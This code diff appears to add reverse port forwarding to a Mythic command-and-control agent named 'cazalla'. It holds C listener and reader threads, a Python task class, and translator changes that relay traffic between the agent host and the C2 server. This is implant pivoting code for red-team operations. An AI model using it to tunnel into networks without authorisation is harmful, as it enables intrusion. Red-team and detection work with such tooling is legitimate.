#ifdef _WIN32
EnterCriticalSection(&out_lock);
#else
pthread_mutex_lock(&out_lock);
#endif
outgoing_node_t *n = out_head;
out_head = out_tail = NULL;
#ifdef _WIN32
LeaveCriticalSection(&out_lock);
#else
pthread_mutex_unlock(&out_lock);
#endif
int count = 0;
while (n) {
count++;
_dbg("rpfwd_flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu port=%u)",
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len, n->msg.port);
outgoing_node_t *next = n->next;
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, n->msg.port, ctx);
if (n->msg.data) free(n->msg.data);
free(n);
n = next;
}
_dbg("rpfwd_flush_outgoing: completado (%d mensajes procesados)", count);
}
/* === Generar server_id único === */
static uint32_t generate_server_id(void) {
// Generate random server_id (uint32_t)
// Use combination of time and random
#ifdef _WIN32
srand((unsigned int)(time(NULL) ^ GetCurrentProcessId()));
#else
srand((unsigned int)(time(NULL) ^ getpid()));
#endif
uint32_t sid = (uint32_t)aleatorioInt32(1000, 0x7FFFFFFF);
// Ensure it's unique by checking existing entries (limit iterations to avoid infinite loop)
int max_iterations = 100;
while (find_entry(sid) != NULL && max_iterations-- > 0) {
sid = (uint32_t)aleatorioInt32(1000, 0x7FFFFFFF);
}
if (max_iterations <= 0) {
_err("rpfwd ERROR: Could not generate unique server_id");
sid = 0;
}
return sid;
}
/* === Thread lector (lee de conexión local y envía a Mythic) === */
#ifdef _WIN32
DWORD WINAPI rpfwd_reader_thread(LPVOID arg);
#else
static void* rpfwd_reader_thread(void* arg);
#endif
typedef struct rpfwd_reader_args {
uint32_t server_id;
sock_t s;
uint32_t port;
} rpfwd_reader_args_t;
#ifdef _WIN32
DWORD WINAPI rpfwd_reader_thread(LPVOID arg) {
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)arg;
if (!ra) {
_err("rpfwd_reader_thread: arg is NULL");
return 1;
}
uint32_t sid = ra->server_id;
sock_t s = ra->s;
uint32_t port = ra->port;
free(ra);
_dbg("rpfwd_reader_thread iniciado para sid=%u socket=%d port=%u", sid, (int)s, port);
unsigned char *buf = (unsigned char*)malloc(4096);
if (!buf) {
_err("rpfwd_reader_thread: malloc failed");
CLOSESOCK(s);
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
enqueue_outgoing(&m2);
return 1;
}
int loop_count = 0;
while (1) {
loop_count++;
_dbg("rpfwd sid=%u loop #%d, llamando recv()...", sid, loop_count);
int r = recv(s, (char*)buf, 4096, 0);
_dbg("rpfwd sid=%u recv() retornó r=%d", sid, r);
if (r < 0) {
int err = WSAGetLastError();
_dbg("rpfwd WSAError=%d", err);
}
if (r <= 0) break;
_dbg("rpfwd sid=%u recibió %d bytes, encolando...", sid, r);
// Allocate new buffer for the message
unsigned char *msg_buf = (unsigned char*)malloc(r);
if (msg_buf) {
memcpy(msg_buf, buf, r);
rpfwd_msg_t m = {sid, 0, msg_buf, (size_t)r, port};
enqueue_outgoing(&m);
_dbg("rpfwd sid=%u datos encolados OK", sid);
} else {
_err("rpfwd_reader_thread: malloc for msg_buf failed");
}
}
_dbg("rpfwd sid=%u salió del loop, cerrando socket", sid);
free(buf);
_dbg("rpfwd reader sid=%u closing", sid);
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
enqueue_outgoing(&m2);
CLOSESOCK(s);
_dbg("rpfwd reader thread terminado para sid=%u", sid);
return 0;
}
#else
static void* rpfwd_reader_thread(void* arg) {
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)arg;
if (!ra) {
_err("rpfwd_reader_thread: arg is NULL");
return NULL;
}
uint32_t sid = ra->server_id;
sock_t s = ra->s;
uint32_t port = ra->port;
free(ra);
unsigned char *buf = (unsigned char*)malloc(4096);
if (!buf) {
_err("rpfwd_reader_thread: malloc failed");
CLOSESOCK(s);
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
enqueue_outgoing(&m2);
return NULL;
}
while (1) {
ssize_t r = recv(s, buf, 4096, 0);
if (r <= 0) break;
_dbg("rpfwd reader sid=%u recv=%zd", sid, r);
// Allocate new buffer for the message
unsigned char *msg_buf = (unsigned char*)malloc(r);
if (msg_buf) {
memcpy(msg_buf, buf, r);
rpfwd_msg_t m = {sid, 0, msg_buf, (size_t)r, port};
enqueue_outgoing(&m);
} else {
_err("rpfwd_reader_thread: malloc for msg_buf failed");
}
}
free(buf);
_dbg("rpfwd reader sid=%u closing", sid);
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
enqueue_outgoing(&m2);
CLOSESOCK(s);
return NULL;
}
#endif
/* === Thread listener (acepta conexiones locales) === */
#ifdef _WIN32
DWORD WINAPI rpfwd_listener_thread(LPVOID arg);
#else
static void* rpfwd_listener_thread(void* arg);
#endif
#ifdef _WIN32
DWORD WINAPI rpfwd_listener_thread(LPVOID arg) {
uint16_t port = *(uint16_t*)arg;
free(arg);
_inf("rpfwd_listener_thread iniciado en puerto %u", port);
struct sockaddr_in sa;
sock_t listen_sock = socket(AF_INET, SOCK_STREAM, 0);
if (listen_sock == INVALID_SOCKET) {
DWORD err = WSAGetLastError();
_err("rpfwd ERROR: socket() failed, WSAError=%lu", err);
rpfwd_active = 0;
return 1;
}
_inf("rpfwd socket creado exitosamente");
// Set SO_REUSEADDR
int opt = 1;
if (setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt)) != 0) {
DWORD err = WSAGetLastError();
_wrn("rpfwd WARNING: setsockopt SO_REUSEADDR failed, WSAError=%lu (continuando...)", err);
}
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(port);
if (bind(listen_sock, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
DWORD err = WSAGetLastError();
_err("rpfwd ERROR: bind() failed on port %u, WSAError=%lu", port, err);
if (err == WSAEACCES || err == 10013) {
_err("rpfwd ERROR: Puerto %u requiere privilegios de administrador (puertos privilegiados: <1024)", port);
_err("rpfwd ERROR: Sugerencia: Usa un puerto no privilegiado (>=1024), ej: 8080, 4444, 5555");
} else if (err == WSAEADDRINUSE || err == 10048) {
_err("rpfwd ERROR: Puerto %u ya está en uso", port);
} else {
_err("rpfwd ERROR: Error desconocido al hacer bind(), WSAError=%lu", err);
}
CLOSESOCK(listen_sock);
rpfwd_active = 0;
return 1;
}
_inf("rpfwd bind exitoso en puerto %u", port);
if (listen(listen_sock, 10) != 0) {
DWORD err = WSAGetLastError();
_err("rpfwd ERROR: listen() failed, WSAError=%lu", err);
CLOSESOCK(listen_sock);
rpfwd_active = 0;
return 1;
}
_inf("rpfwd listen exitoso");
listener_sock = listen_sock;
_inf("rpfwd listener escuchando en puerto %u (socket=%d)", port, (int)listen_sock);
while (rpfwd_active) {
struct sockaddr_in client_addr;
int addr_len = sizeof(client_addr);
_dbg("rpfwd esperando conexión en puerto %u...", port);
sock_t client_sock = accept(listen_sock, (struct sockaddr*)&client_addr, &addr_len);
if (client_sock == INVALID_SOCKET) {
DWORD err = WSAGetLastError();
if (!rpfwd_active) {
_inf("rpfwd listener deteniéndose (rpfwd_active=0)");
break;
}
if (err != WSAEWOULDBLOCK && err != 0) {
_wrn("rpfwd accept() error: WSAError=%lu (continuando...)", err);
}
continue;
}
// Generate unique server_id for this connection
uint32_t sid = generate_server_id();
_dbg("rpfwd nueva conexión aceptada: sid=%u desde %s:%u", sid,
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
// Set timeout
int timeout_ms = 60000; // 60s
setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
// Create entry
create_entry(sid, client_sock, port);
// Spawn reader thread
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)malloc(sizeof(rpfwd_reader_args_t));
if (!ra) {
_err("rpfwd ERROR: malloc failed for reader args");
CLOSESOCK(client_sock);
continue;
}
ra->server_id = sid;
ra->s = client_sock;
ra->port = port;
// Send initial data notification to Mythic (empty data, new connection)
rpfwd_msg_t m = {sid, 0, NULL, 0, port};
enqueue_outgoing(&m);
HANDLE th = CreateThread(NULL, 0, rpfwd_reader_thread, ra, 0, NULL);
if (!th) {
_err("rpfwd ERROR: CreateThread failed for reader");
free(ra);
CLOSESOCK(client_sock);
remove_entry(sid);
continue;
}
CloseHandle(th); // Don't wait for thread, just close handle
}
CLOSESOCK(listen_sock);
listener_sock = INVALID_SOCKET;
_dbg("rpfwd_listener_thread terminado");
return 0;
}
#else
static void* rpfwd_listener_thread(void* arg) {
uint16_t port = *(uint16_t*)arg;
free(arg);
_dbg("rpfwd_listener_thread iniciado en puerto %u", port);
struct sockaddr_in sa;
sock_t listen_sock = socket(AF_INET, SOCK_STREAM, 0);
if (listen_sock == INVALID_SOCKET) {
_err("rpfwd ERROR: socket() failed");
return (void*)(intptr_t)1;
}
// Set SO_REUSEADDR
int opt = 1;
setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(port);
if (bind(listen_sock, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
_err("rpfwd ERROR: bind() failed on port %u, errno=%d", port, errno);
CLOSESOCK(listen_sock);
return (void*)(intptr_t)1;
}
if (listen(listen_sock, 10) != 0) {
_err("rpfwd ERROR: listen() failed, errno=%d", errno);
CLOSESOCK(listen_sock);
return (void*)(intptr_t)1;
}
listener_sock = listen_sock;
_dbg("rpfwd listener escuchando en puerto %u", port);
while (rpfwd_active) {
struct sockaddr_in client_addr;
socklen_t addr_len = sizeof(client_addr);
sock_t client_sock = accept(listen_sock, (struct sockaddr*)&client_addr, &addr_len);
if (client_sock == INVALID_SOCKET) {
if (!rpfwd_active) break;
continue;
}
// Generate unique server_id
uint32_t sid = generate_server_id();
_dbg("rpfwd nueva conexión aceptada: sid=%u desde %s:%u", sid,
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
// Set timeout
struct timeval timeout;
timeout.tv_sec = 60;
timeout.tv_usec = 0;
setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
// Create entry
create_entry(sid, client_sock, port);
// Spawn reader thread
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)malloc(sizeof(rpfwd_reader_args_t));
if (!ra) {
_err("rpfwd ERROR: malloc failed for reader args");
CLOSESOCK(client_sock);
continue;
}
ra->server_id = sid;
ra->s = client_sock;
ra->port = port;
// Send initial data notification to Mythic (empty data, new connection)
rpfwd_msg_t m = {sid, 0, NULL, 0, port};
enqueue_outgoing(&m);
pthread_t tid;
if (pthread_create(&tid, NULL, rpfwd_reader_thread, ra) != 0) {
_err("rpfwd ERROR: pthread_create failed for reader");
free(ra);
CLOSESOCK(client_sock);
remove_entry(sid);
continue;
}
pthread_detach(tid);
}
CLOSESOCK(listen_sock);
listener_sock = INVALID_SOCKET;
_dbg("rpfwd_listener_thread terminado");
return NULL;
}
#endif
/* === Procesamiento principal (datos desde Mythic hacia conexión local) === */
int rpfwd_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, uint32_t port) {
_dbg("rpfwd_process_incoming: sid=%u exit=%d len=%zu port=%u", server_id, exit_flag, data_len, port);
if (server_id == 0) {
_err("rpfwd ERROR: invalid server_id=%u", server_id);
return -4;
}
if (exit_flag) {
_dbg("rpfwd Exit flag set, removiendo entry sid=%u", server_id);
remove_entry(server_id);
return 0;
}
rpfwd_conn_entry_t *e = find_entry(server_id);
if (!e) {
_dbg("rpfwd Nueva conexión desde Mythic para sid=%u, pero no existe entry local", server_id);
// Entry doesn't exist - might be a new connection notification from Mythic
// This is normal for RPFWD, just ignore
return 0;
}
if (e->closed) {
_dbg("rpfwd Conexión sid=%u ya está cerrada", server_id);
return 0;
}
// Forward data to local TCP connection
if (data_len > 0 && data) {
int sent = send(e->sock, (const char*)data, (int)data_len, 0);
if (sent <= 0) {
_dbg("rpfwd Error enviando datos a sid=%u, cerrando", server_id);
remove_entry(server_id);
rpfwd_msg_t m = {server_id, 1, NULL, 0, port};
enqueue_outgoing(&m);
return -1;
}
_dbg("rpfwd Enviados %d bytes a sid=%u", sent, server_id);
}
return 0;
}
/* === Start/Stop listener === */
int rpfwd_manager_start_listener(uint16_t local_port) {
if (rpfwd_active) {
_dbg("rpfwd ya está activo en puerto %u", listener_port);
return 0;
}
rpfwd_manager_init();
rpfwd_active = 1;
listener_port = local_port;
_inf("rpfwd_manager_start_listener: iniciando listener en puerto %u", local_port);
uint16_t *port_arg = (uint16_t*)malloc(sizeof(uint16_t));
if (!port_arg) {
_err("rpfwd ERROR: malloc failed for port_arg");
rpfwd_active = 0;
return -1;
}
*port_arg = local_port;
#ifdef _WIN32
listener_thread_handle = CreateThread(NULL, 0, rpfwd_listener_thread, port_arg, 0, NULL);
if (!listener_thread_handle) {
_err("rpfwd ERROR: failed to create listener thread (error: %lu)", GetLastError());
rpfwd_active = 0;
free(port_arg);
return -1;
}
_inf("rpfwd listener thread creado exitosamente");
// Don't close handle immediately - we need it to check if thread is still alive
#else
if (pthread_create(&listener_thread_id, NULL, rpfwd_listener_thread, port_arg) != 0) {
_err("rpfwd ERROR: failed to create listener thread");
rpfwd_active = 0;
free(port_arg);
return -1;
}
_inf("rpfwd listener thread creado exitosamente");
pthread_detach(listener_thread_id);
#endif
// Give the thread a moment to initialize and report any errors
Sleep(100);
// Check if the listener socket was created successfully
if (listener_sock == INVALID_SOCKET && rpfwd_active) {
_wrn("rpfwd listener socket no se creó, thread podría haber fallado");
// Thread might have failed - reset active flag
rpfwd_active = 0;
return -2;
}
return 0;
}
int rpfwd_manager_stop_listener(void) {
_dbg("rpfwd_manager_stop_listener()");
rpfwd_active = 0;
if (listener_sock != INVALID_SOCKET) {
CLOSESOCK(listener_sock);
listener_sock = INVALID_SOCKET;
}
#ifdef _WIN32
if (listener_thread_handle) {
WaitForSingleObject(listener_thread_handle, 2000);
CloseHandle(listener_thread_handle);
listener_thread_handle = NULL;
}
#endif
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
rpfwd_conn_entry_t *cur = conn_list;
while (cur) {
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
cur = cur->next;
}
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
listener_port = 0;
return 0;
}
@@ -0,0 +1,47 @@
#ifndef RPFWD_MANAGER_H
#define RPFWD_MANAGER_H
#include <stdint.h>
#include <stddef.h>
/* ==== Estructura básica de mensaje RPFWD ==== */
typedef struct rpfwd_msg_s {
uint32_t server_id;
int exit_flag;
unsigned char *data;
size_t data_len;
uint32_t port; // Optional port for multi-port RPFWD
} rpfwd_msg_t;
/* ==== Callbacks ==== */
typedef void (*rpfwd_send_cb_t)(
uint32_t server_id,
int exit_flag,
const unsigned char *data,
size_t data_len,
uint32_t port,
void *ctx
);
/* ==== Estado global ==== */
extern volatile int rpfwd_active; // indica si RPFWD está activo
/* ==== API pública ==== */
void rpfwd_manager_init(void);
void rpfwd_manager_cleanup(void);
int rpfwd_manager_process_incoming(
uint32_t server_id,
int exit_flag,
const unsigned char *data,
size_t data_len,
uint32_t port
);
void rpfwd_manager_flush_outgoing(rpfwd_send_cb_t cb, void *ctx);
int rpfwd_manager_start_listener(uint16_t local_port);
int rpfwd_manager_stop_listener(void);
#endif /* RPFWD_MANAGER_H */
@@ -0,0 +1,154 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import (
SendMythicRPCProxyStartCommand,
MythicRPCProxyStartMessage,
SendMythicRPCProxyStopCommand,
MythicRPCProxyStopMessage,
CALLBACK_PORT_TYPE_RPORTFWD
)
import json
import logging
logging.basicConfig(level=logging.INFO)
class RpfwdArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="action",
type=ParameterType.ChooseOne,
description="Acción a realizar (start/stop)",
choices=["start", "stop"],
default_value="start",
parameter_group_info=[ParameterGroupInfo(required=True, ui_position=1)]
),
CommandParameter(
name="port",
type=ParameterType.Number,
description="Puerto local del agente donde escuchar (solo para start)",
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=2)]
),
CommandParameter(
name="remote_host",
type=ParameterType.String,
description="IP o hostname remoto al que Mythic debe conectar (solo para start)",
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=3)]
),
CommandParameter(
name="remote_port",
type=ParameterType.Number,
description="Puerto remoto al que Mythic debe conectar (solo para start)",
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=4)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Debe especificar 'start' o 'stop'.")
parts = self.command_line.strip().split()
action = parts[0].lower()
if action not in ["start", "stop"]:
raise ValueError("Acción debe ser 'start' o 'stop'.")
# Parsear puerto local (opcional)
local_port = int(parts[1]) if len(parts) > 1 else 8080
self.add_arg("port", local_port)
# Parsear host remoto y puerto (opcionales)
remote_host = parts[2] if len(parts) > 2 else "127.0.0.1"
remote_port = int(parts[3]) if len(parts) > 3 else 80
self.add_arg("remote_host", remote_host)
self.add_arg("remote_port", remote_port)
self.add_arg("action", action)
async def parse_dictionary(self, dictionary_arguments):
action = dictionary_arguments.get("action", "start")
# Valores por defecto
if "port" not in dictionary_arguments:
dictionary_arguments["port"] = 8080
if "remote_host" not in dictionary_arguments:
dictionary_arguments["remote_host"] = "127.0.0.1"
if "remote_port" not in dictionary_arguments:
dictionary_arguments["remote_port"] = 80
self.load_args_from_dictionary(dictionary_arguments)
class RpfwdCommand(CommandBase):
cmd = "rpfwd"
needs_admin = False
help_cmd = "rpfwd start [local_port] [remote_host] [remote_port] / rpfwd stop"
description = "Inicia o detiene el reverse port forwarding. El agente escucha en local_port y Mythic reenvía a remote_host:remote_port. Puerto local por defecto: 8080"
version = 1
author = "OFSTeam"
argument_class = RpfwdArguments
attackmapping = []
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows],
builtin=True,
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
action = task.args.get_arg("action")
if action == "start":
local_port = task.args.get_arg("port")
remote_host = task.args.get_arg("remote_host")
remote_port = task.args.get_arg("remote_port")
task.display_params = f"{action.upper()} (local:{local_port} -> {remote_host}:{remote_port})"
else:
task.display_params = "STOP"
return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
action = taskData.args.get_arg("action")
local_port = taskData.args.get_arg("port") if taskData.args.get_arg("port") else 8080
try:
if action == "start":
remote_host = taskData.args.get_arg("remote_host") or "127.0.0.1"
remote_port = taskData.args.get_arg("remote_port") or 80
# Warn if using a privileged port on Windows (may require admin)
if local_port < 1024:
logging.warning(f"Warning: Port {local_port} is privileged (<1024) and may require administrator privileges on Windows")
logging.warning(f"Consider using a non-privileged port (>=1024) like 8080, 4444, or 5555")
# Register RPFWD with Mythic - Mythic will automatically send start_rpfwd command to agent
resp = await SendMythicRPCProxyStartCommand(MythicRPCProxyStartMessage(
TaskID=taskData.Task.ID,
LocalPort=local_port,
RemoteIP=remote_host,
RemotePort=remote_port,
PortType=CALLBACK_PORT_TYPE_RPORTFWD
))
logging.info(f"RPFWD registered with Mythic: local port {local_port} on agent -> {remote_host}:{remote_port}")
logging.info(f"To test: Connect to port {local_port} on the AGENT host (not Mythic server)")
if not resp.Success:
response.Success = False
response.Error = resp.Error
elif action == "stop":
# Unregister RPFWD with Mythic - Mythic will automatically send stop_rpfwd command to agent
resp = await SendMythicRPCProxyStopCommand(MythicRPCProxyStopMessage(
TaskID=taskData.Task.ID,
Port=local_port,
PortType=CALLBACK_PORT_TYPE_RPORTFWD
))
logging.info(f"RPFWD unregistered from Mythic: {resp}")
if not resp.Success:
response.Success = False
response.Error = resp.Error
except Exception as e:
logging.error(f"Error en RPFWD RPC: {e}")
response.Success = False
response.Error = str(e)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -30,18 +30,57 @@ commands = {
# Added SOCKS control commands
"start_socks": {"hex_code": 0x60, "input_type": "int"},
"stop_socks": {"hex_code": 0x61, "input_type": None},
# Added Reverse Port Forward commands
"start_rpfwd": {"hex_code": 0x62, "input_type": "int"},
"stop_rpfwd": {"hex_code": 0x63, "input_type": None},
"socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente
}
def responseTasking(tasks):
print(f"\n[TRANSLATOR] ========== responseTasking INICIO ==========")
print(f"[TRANSLATOR] Número de tareas a procesar: {len(tasks)}")
data = b""
dataTask = b""
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1, "big") + len(tasks).to_bytes(4, "big")
print(f"[TRANSLATOR] dataHead: comando=0x{dataHead[0]:02X}, num_tareas={int.from_bytes(dataHead[1:5], 'big')}, tamaño={len(dataHead)} bytes")
for task in tasks:
command_to_run = task["command"]
print(f"\n[DEBUG] Preparando comando: {command_to_run}")
print(f"\n[TRANSLATOR] Preparando comando: {command_to_run}")
# Manejar comandos especiales primero (rpfwd, socks)
if command_to_run == "rpfwd":
# Comando RPFWD: parsea action para decidir entre START (0x62) o STOP (0x63)
print(f"[TRANSLATOR] Comando especial RPFWD detectado")
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
action = parameters.get("action", "start")
port = int(parameters.get("port", 8080))
task_id = task["id"].encode()
if action == "start":
# START_RPFWD_CMD (0x62) + task_id + nbArg (1) + port
command_code = bytes([0x62]) # START_RPFWD_CMD
data = command_code + task_id
# Para input_type="int", el formato es: UUID (36) + nbArg (4) + param1 (4)...
nbArg = 1 # Solo el puerto
data += nbArg.to_bytes(4, "big")
data += port.to_bytes(4, "big")
print(f"[TRANSLATOR] RPFWD START: port={port}, nbArg={nbArg}")
else:
# STOP_RPFWD_CMD (0x63) + task_id (sin parámetros)
command_code = bytes([0x63]) # STOP_RPFWD_CMD
data = command_code + task_id
print(f"[TRANSLATOR] RPFWD STOP")
task_size = len(data)
print(f"[TRANSLATOR] Tamaño total de tarea RPFWD: {task_size} bytes")
print(f"[TRANSLATOR] Desglose: command_code=1, task_id=36, resto={task_size-37} bytes")
dataTask += task_size.to_bytes(4, "big") + data
print(f"[TRANSLATOR] Tarea RPFWD agregada. dataTask ahora tiene {len(dataTask)} bytes")
continue
if command_to_run not in commands:
print(f"[ERROR] Comando no reconocido en translator: {command_to_run}")
# Skip unknown command to avoid crashing the translator
@@ -66,7 +105,6 @@ def responseTasking(tasks):
task_size = len(data)
print(f"[DEBUG] Tamaño de tarea: {task_size}")
print(f"[DEBUG] Datos de tarea (hex): {data.hex()}")
dataTask += task_size.to_bytes(4, "big") + data
print("input_type: None")
@@ -114,16 +152,32 @@ def responseTasking(tasks):
dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "int":
print(f"[TRANSLATOR] input_type=='int' para comando {command_to_run}")
print(f"[TRANSLATOR] task_id (raw): {task_id}, len={len(task_id)}")
# Para input_type=="int", el task_id se envía directamente sin prefijo de longitud (36 bytes)
data = command_code + task_id
print(f"[TRANSLATOR] data después de command_code+task_id: {len(data)} bytes (1+36=37)")
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4, "big")
print(f"[TRANSLATOR] Parámetros parseados: {parameters}")
nbArg = len(parameters)
data += nbArg.to_bytes(4, "big")
print(f"[TRANSLATOR] nbArg agregado: {nbArg} (4 bytes)")
for param in parameters:
param_value = parameters[param]
print(f"[TRANSLATOR] Agregando parámetro '{param}' = {param_value} (4 bytes)")
# Expecting integer values in parameters dict
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
data += int(param_value).to_bytes(4, "big") # Convertir el int correctamente
else:
print(f"[TRANSLATOR] Sin parámetros, agregando nbArg=0")
data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data
task_size = len(data)
print(f"[TRANSLATOR] Tamaño total de tarea (incluye command_code): {task_size} bytes")
print(f"[TRANSLATOR] Desglose: command_code=1, task_id=36, nbArg=4, params={task_size-1-36-4} bytes")
dataTask += task_size.to_bytes(4, "big") + data
print(f"[TRANSLATOR] Tarea agregada a dataTask. dataTask ahora tiene {len(dataTask)} bytes")
elif commands[command_to_run]["input_type"] == "socks_special":
# Comando SOCKS: parsea action para decidir entre START (0x60) o STOP (0x61)
@@ -135,20 +189,23 @@ def responseTasking(tasks):
# START_SOCKS_CMD (0x60) + task_id + puerto
data = bytes([0x60]) + task_id
data += port.to_bytes(4, "big")
print(f"[DEBUG] SOCKS START: port={port}")
print(f"[TRANSLATOR] SOCKS START: port={port}")
else:
# STOP_SOCKS_CMD (0x61) + task_id (sin parámetros)
data = bytes([0x61]) + task_id
print(f"[DEBUG] SOCKS STOP")
print(f"[TRANSLATOR] SOCKS STOP")
dataTask += len(data).to_bytes(4, "big") + data
dataTask += len(data).to_bytes(4, "big") + data
dataToSend = dataHead + dataTask
print("estamos en el dataToSend\n")
print(f"[TRANSLATOR] dataToSend total={len(dataToSend)} bytes")
print(f"[TRANSLATOR] dataHead (comando+num_tasks)={dataHead.hex()} ({len(dataHead)} bytes)")
print(f"[TRANSLATOR] dataTask (tareas)={dataTask.hex()[:100]}..." if len(dataTask) > 50 else f"[TRANSLATOR] dataTask={dataTask.hex()}")
print(f"[TRANSLATOR] First byte of dataToSend=0x{dataToSend[0]:02X}")
print(f"[TRANSLATOR] ========== responseTasking FIN ==========")
print(f"[TRANSLATOR] dataHead: {len(dataHead)} bytes")
print(f"[TRANSLATOR] dataTask: {len(dataTask)} bytes")
print(f"[TRANSLATOR] dataToSend TOTAL: {len(dataToSend)} bytes, {len(tasks)} task(s)")
print(f"[TRANSLATOR] Primer byte: 0x{dataToSend[0]:02X} (GET_TASKING)")
print(f"[TRANSLATOR] Número de tareas: {int.from_bytes(dataToSend[1:5], 'big')}")
if len(dataToSend) > 5:
print(f"[TRANSLATOR] Primeros bytes de dataTask: {dataToSend[5:min(20, len(dataToSend))].hex()}")
return dataToSend
@@ -309,7 +309,7 @@ def parse_file_browser_list(output_text):
def postResponse(data):
print(f"Tamaño del Base64 recibido: {len(data)} bytes")
print(f"[DEBUG] Primeros 100 bytes (hex): {data[:100].hex()}")
# Removed hex dump - use debug logging if needed
print(f"[DEBUG] Primeros 100 bytes (repr): {repr(data[:100])}")
resTaks = []
+141 -7
View File
@@ -159,6 +159,31 @@ class cazalla_translator(TranslationContainer):
print(f"[TRANSLATOR] SOCKS block total: {len(socks_block)} bytes (marker + len={5} + ext={len(extension)})")
response.Message += socks_block
print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes")
# Append RPFWD array if present from Mythic
rpfwd_list = inputMsg.Message.get("rpfwd", [])
print(f"[TRANSLATOR] RPFWD list: {len(rpfwd_list)} items")
if rpfwd_list:
# Encode an extension block for C agent: 0xF2 | [len] | [records]
# Each record: [Int32 server_id][Byte exit][Int32 b64len][b64][Int32 port]
extension = bytearray()
for r in rpfwd_list:
sid = int(r.get("server_id", 0))
exitb = 1 if r.get("exit", False) else 0
data_str = r.get("data") or ""
b64 = data_str.encode() if data_str else b""
port = int(r.get("port", 0))
data_preview = data_str[:50] if data_str else "(null)"
print(f"[TRANSLATOR] RPFWD: sid={sid} exit={exitb} b64_len={len(b64)} port={port} data={data_preview}")
extension += sid.to_bytes(4, "big")
extension += bytes([exitb])
extension += len(b64).to_bytes(4, "big")
extension += b64
extension += port.to_bytes(4, "big")
rpfwd_block = bytes([0xF2]) + len(extension).to_bytes(4, "big") + bytes(extension)
print(f"[TRANSLATOR] RPFWD block total: {len(rpfwd_block)} bytes (marker + len={5} + ext={len(extension)})")
response.Message += rpfwd_block
print(f"[TRANSLATOR] Final message with RPFWD: {len(response.Message)} bytes")
elif inputMsg.Message["action"] == "post_response":
print("[TRANSLATOR] Response POSTREP recibido de Mythic")
@@ -187,6 +212,23 @@ class cazalla_translator(TranslationContainer):
extension += len(b64).to_bytes(4, "big")
extension += b64
response.Message += bytes([0xF5]) + len(extension).to_bytes(4, "big") + bytes(extension)
# Append RPFWD array if present from Mythic
rpfwd_list = inputMsg.Message.get("rpfwd", [])
if rpfwd_list:
extension = bytearray()
for r in rpfwd_list:
sid = int(r.get("server_id", 0))
exitb = 1 if r.get("exit", False) else 0
data_str = r.get("data") or ""
b64 = data_str.encode() if data_str else b""
port = int(r.get("port", 0))
extension += sid.to_bytes(4, "big")
extension += bytes([exitb])
extension += len(b64).to_bytes(4, "big")
extension += b64
extension += port.to_bytes(4, "big")
response.Message += bytes([0xF2]) + len(extension).to_bytes(4, "big") + bytes(extension)
# ============================
# NUEVOS COMANDOS SOCKS
@@ -210,6 +252,29 @@ class cazalla_translator(TranslationContainer):
}]
response.Message = responseTasking(tasks)
# ============================
# NUEVOS COMANDOS RPFWD
# ============================
elif inputMsg.Message["action"] == "start_rpfwd":
print("Response START_RPFWD")
# Construye un paquete de tipo "start_rpfwd" con el puerto local
local_port = int(inputMsg.Message.get("port", 8080))
tasks = [{
"command": "start_rpfwd",
"id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"),
"parameters": json.dumps({"port": local_port})
}]
response.Message = responseTasking(tasks)
elif inputMsg.Message["action"] == "stop_rpfwd":
print("Response STOP_RPFWD")
tasks = [{
"command": "stop_rpfwd",
